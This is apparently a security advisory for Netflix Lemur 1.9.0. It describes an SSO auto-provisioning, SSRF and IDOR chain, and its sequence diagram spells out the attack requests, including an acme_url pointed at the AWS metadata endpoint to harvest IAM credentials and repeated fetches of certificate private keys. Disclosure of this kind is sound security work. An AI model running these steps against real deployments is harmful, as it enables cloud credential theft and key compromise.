Field | Value -- | -- Title | Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR Component | lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201 (SSRF), lemur/lemur/certificates/views.py:734 (IDOR), lemur/lemur/auth/views.py:300-308 (SSO auto-provision) CWE | CWE-918 (SSRF) + CWE-639 (Authorization Bypass Through User-Controlled Key) + CWE-285 (Improper Authorization) Attack Prerequisite | A valid SSO session against the deployment's IdP. Lemur auto-provisions any new SSO identity at active=True, so an attacker with corporate SSO (or any federated IdP Lemur trusts) clears this bar. Affected Versions | github.com/Netflix/lemur version = "1.9.0" (see lemur/lemur/about.py) and every prior release that carries the same three sinks.

Exploit Code & Lab Set-up

Lemur-acme-ssrf-creator-idor.zip

Attacker->>Lemur: "SSO callback for new identity (sink 1)"
Lemur-->>Attacker: "JWT issued: user_id=1, active=true, auto_provisioned=true"

Attacker->>Lemur: "POST /api/1/authorities acme_url=http://169.254.169.254/..."
Lemur->>IMDS: "GET /latest/meta-data/iam/security-credentials/role (sink 2)"
IMDS-->>Lemur: "AccessKeyId + SecretAccessKey + Token"
Lemur-->>Attacker: "ssrf_response_body=AWS-HMAC creds"

Attacker->>Lemur: "POST /api/1/certificates authority_id=1"
Lemur->>CertDB: "persist cert, creator_id=1, owner=attacker"
Attacker->>Lemur: "GET /api/1/certificates/1/key"
Lemur-->>Attacker: "RSA PRIVATE KEY (creator branch — sink 3 pre-transfer)"

Attacker->>Lemur: "PUT /api/1/certificates/1 owner=victim-admin"
Lemur->>CertDB: "cert.owner=victim-admin, creator_id unchanged"

Attacker->>Lemur: "GET /api/1/certificates/1/key (again)"
Lemur-->>Attacker: "200 + RSA PRIVATE KEY (creator branch — sink 3 post-transfer)"
Note over CertDB: "audit log shows admin owns it, attacker still has the key"